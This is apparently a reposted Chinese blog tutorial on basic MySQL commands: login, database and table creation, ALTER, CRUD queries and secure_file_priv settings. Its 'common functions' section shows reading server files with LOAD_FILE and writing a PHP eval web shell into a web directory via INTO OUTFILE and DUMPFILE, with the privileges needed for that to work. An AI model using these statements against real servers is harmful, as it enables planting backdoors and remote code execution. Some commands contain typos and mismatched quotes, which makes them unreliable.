前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >mysql数据库基本命令

mysql数据库基本命令

作者头像
木尤
发布2020-07-15 11:03:06
3.7K0
发布2020-07-15 11:03:06
举报
文章被收录于专栏:我的csdn我的csdn

mysql数据库基本命令

1.登录数据库

代码语言:javascript
复制
mysql -uroot -proot

2.新建/删除数据库

代码语言:javascript
复制
新建:create database test;
删除:drop database test;

3.打开数据库

代码语言:javascript
复制
use test

4.当前选择的库字段

代码语言:javascript
复制
select database();

5.显示数据库表字段

代码语言:javascript
复制
describe users;

6.当前库数据表结构

代码语言:javascript
复制
show tables;

7.创建数据表

语法:CREATE TABLE [表名]([字段名] 字段类型 [字段参数], …); 例如:

代码语言:javascript
复制
create table user(
id int(11) NOT NULL, 
username varchar(255),
password varchar(255),
primary key(id)
)charset=utf8;

8.更改数据表

语法: ALTER TABLE [表名] ADD COLUMN [字段名] DATATYPE ALTER TABLE [表名] ADD PRIMARY KEY ([字段名]) 例如:

代码语言:javascript
复制
alter table users add column email varchar(50);

说明:更改表的定义把某个栏位设为主键。 TABLE [表名] DROP PRIMARY KEY ([字段名])

显示ALTER当前表字段:

代码语言:javascript
复制
show columns from tablename;

9.增删改查

a.添加

语法:INSERT INTO [表名] VALUES(’’,’’,…顺序排列的数据);

代码语言:javascript
复制
例如:insert user values(0,'1','123456');
b.查询

语法: SELECT * FROM [表名] WHERE ([条件]);

代码语言:javascript
复制
例如:select * from users where id=1;
c.删除

语法:DELETE FROM [表名] WHERE ([条件]);

代码语言:javascript
复制
例如:delete from users where id=1;
d.修改

语法:UPDATE [表名] SET [修改内容] WHERE [条件];

代码语言:javascript
复制
例如:update users set name = 'my404.cn' where id=1;

10.常用函数

database() user() version()

代码语言:javascript
复制
SELECT LOAD_FILE(‘/1.php’);
select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php'
select'<?php @eval($_POST[chabug]);?>'INTO OUTFILE 'E:\Web\errors.php’

限制条件: 1)需要知道Web目录的绝对路径。 2)需要mysql用户有file权限,file权限限制在MySQL服务器上读写文件。grant file on . to root@localhost; 3)因为执行时以mysql用户去执行,所以mysql用户需要有Web目录的写权限。

代码语言:javascript
复制
select host from mysql.user into dumpfile '/tmp/user1.txt’;

限制条件: 只能导出一行。可执行2进制文件用into outfile函数导出,导出后就会被破坏

11.secure_file_priv

MySQL不能写入文件原因,可能是MYSQL新特性secure_file_priv对读写文件的影响: 查看配置项: SHOW VARIABLES LIKE "secure_file_priv“ 如果查到了secure_file_priv的值,再执行下列命令就可以写入文件了:

代码语言:javascript
复制
select 123 into outfile '/var/lib/mysql-files/test1.txt '

限制mysqld 不允许导入 | 导出:

代码语言:javascript
复制
mysqld --secure_file_prive=null

限制mysqld 的导入 | 导出 只能发生在/tmp/目录下:

代码语言:javascript
复制
mysqld --secure_file_priv=/tmp/

不对mysqld 的导入 | 导出做限制:

代码语言:javascript
复制
cat /etc/my.conf

[mysqld] secure_file_priv= 数据库版本很重要!

注:以上数据库名为:test,表名为:users,仅当举例,可以不同。
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020/06/30 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • mysql数据库基本命令
    • 1.登录数据库
      • 2.新建/删除数据库
        • 3.打开数据库
          • 4.当前选择的库字段
            • 5.显示数据库表字段
              • 6.当前库数据表结构
                • 7.创建数据表
                  • 8.更改数据表
                    • 9.增删改查
                      • 10.常用函数
                        • 11.secure_file_priv
                        相关产品与服务
                        云数据库 SQL Server
                        腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档